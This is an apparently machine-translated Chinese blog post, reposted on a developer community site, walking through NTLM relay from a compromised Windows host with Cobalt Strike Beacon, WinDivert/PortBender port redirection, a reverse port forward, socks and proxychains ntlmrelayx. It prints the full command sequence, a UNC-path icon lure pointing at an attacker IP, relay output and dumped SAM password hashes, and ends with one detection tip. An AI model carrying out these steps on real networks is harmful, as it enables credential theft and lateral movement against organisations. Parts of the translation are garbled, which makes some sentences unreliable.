NTLM 中继是渗透测试期间一种流行的攻击策略,而且执行起来非常简单。只需在客户站点上卷起,将您的笔记本电脑插入 LAN,启动响应器和 ntlmrelayx,然后您就可以离开了。
大多数机会性中继发生在用户或机器尝试访问不存在的 SMB 资源时。因此,它会发送广播请求,响应者之类的工具将为其发送中毒响应。有一些策略可以强制请求专门针对您正在侦听的地址。例如 – 创建一个 Windows 快捷方式,图标设置为 UNC 路径(例如\\attacker-ip\pwn.icon),将其放置在网络共享中并等待用户浏览该共享。还有一些服务在其默认配置中容易受到中继攻击,例如Active Directory 证书服务。
可以肯定地说,NTLM 中继不会很快消失。然而,由于一些原因,通过 C2 框架进行中继并不那么简单。假设您已经破坏了 Windows 端点:
第二点很容易解决,我们可以在本地 Linux VM 或 WSL 上运行它们,并将流量隧道传输到它。重定向端口 445 上的传入流量是稍微棘手的部分,但可以使用诸如WinDivert 之类的工具。这是一个驱动程序(是的,一个驱动程序),它能够拦截和重定向传入的网络数据包,然后才能访问底层服务。
有多个项目利用 WinDivert 在 post-ex 工具中实现这种类型的流量重定向,包括DivertTCPconn、StreamDivert和PortBender。DivertTCPconn 和 StreamDivert 编译为 EXE,PortBender 编译为反射 DLL。两者都是足够通用的实现,几乎可以通过任何 C2 框架运行,尽管 PortBender 具有包含 Aggressor 脚本的额外好处。
这些工具允许我们将来自端口 445 的流量定向到另一个任意本地端口。在这个端口上,我们可以启动一个反向端口转发,它将再次将流量重定向到运行中继工具的位置。
Cobalt Strike 确实有一个rportfwd命令,它将绑定受感染机器上的端口,将该流量隧道返回到团队服务器,并将其转发到指定的 IP 和端口。不便之处在于它要求您的中继工具在团队服务器本身或可从团队服务器路由的另一台机器上运行。
该rportfwd_local在于,替代仅就隧道交通作为球队的服务器,它会被转发到运行谁启动它的运营商的钴罢工客户机命令不同。这意味着您可以在 VM 或您自己机器的 WSL 中运行中继工具。
最后,对于将流量发送回目标网络的中继工具,我们可以使用socks命令。
将如下所示:
通常以相反的顺序设置攻击。您希望在重定向流量之前一切正常运行,这样您就不会错过任何内容。
beacon> socks 1080
[+] started SOCKS4a server on: 1080
2. 在代理链中运行 ntlmrelayx。在本例中,10.10.17.68 是目标机器。
root@Ghost-Canyon:~# proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://10.10.17.68
-smb2support
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
3. 在将运行 PortBender 的同一台机器上启动反向端口转发。172.20.77.73 是我的 WSL Ubuntu 映像的 IP 地址。
beacon> rportfwd_local 8445 172.20.77.73 445
[+] started reverse port forward on 8445 to rasta -> 172.20.77.73:445
4. 上传WinDivert64.sys(或WinDiver32.sys,取决于目标架构),然后运行PortBender。
加载驱动程序需要本地管理员访问权限,因此此 Beacon 以 SYSTEM 身份运行。
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> pwd
[*] Current directory is C:\Windows\system32\drivers
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
[+] Launching PortBender module using reflective DLL injection
Initializing PortBender in redirector mode
Configuring redirection of connections targeting 445/TCP to 8445/TCP
当445端口收到连接时,PortBender会在Beacon控制台上报。发生这种情况时,请检查 ntlmrelayx!
New connection from 10.10.17.132:49937 to 10.10.17.25:445
Disconnect from 10.10.17.132:49937 to 10.10.17.25:445
正如预期的那样,流量一直通过隧道传输到 ntlmrelayx 正在侦听的 WSL 实例;并且它已将流量中继到内部网络上的目标机器。默认情况下,它转储本地 SAM 数据库。
[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, attacking target smb://10.10.17.68
|S-chain|-<>-10.10.5.120:1080-<><>-10.10.17.68:445-<><>-OK
[*] Authenticating against smb://10.10.17.68 as DEV/NLAMB SUCCEED
[*] SMBD-Thread-4: Connection from DEV/NLAMB@172.20.64.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x20c5ee68f38fa77abdb7912a6dcc042a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b423cdd3ad21718de4490d9344afef72:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: 10.10.17.68
[*] Stopping service RemoteRegistry
要停止 PortBender,请使用jobs命令列出正在运行的作业。这将为您提供作业 ID (JID) 和关联的 PID。 使用 jobkill <jid>停止作业,然后使用kill <pid>关闭生成的进程。
除了通常的 MS 对 NTLM 中继缓解的指导外,您还可能希望查找 WinDivert 驱动程序加载事件(Sysmon 事件 ID 6)。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。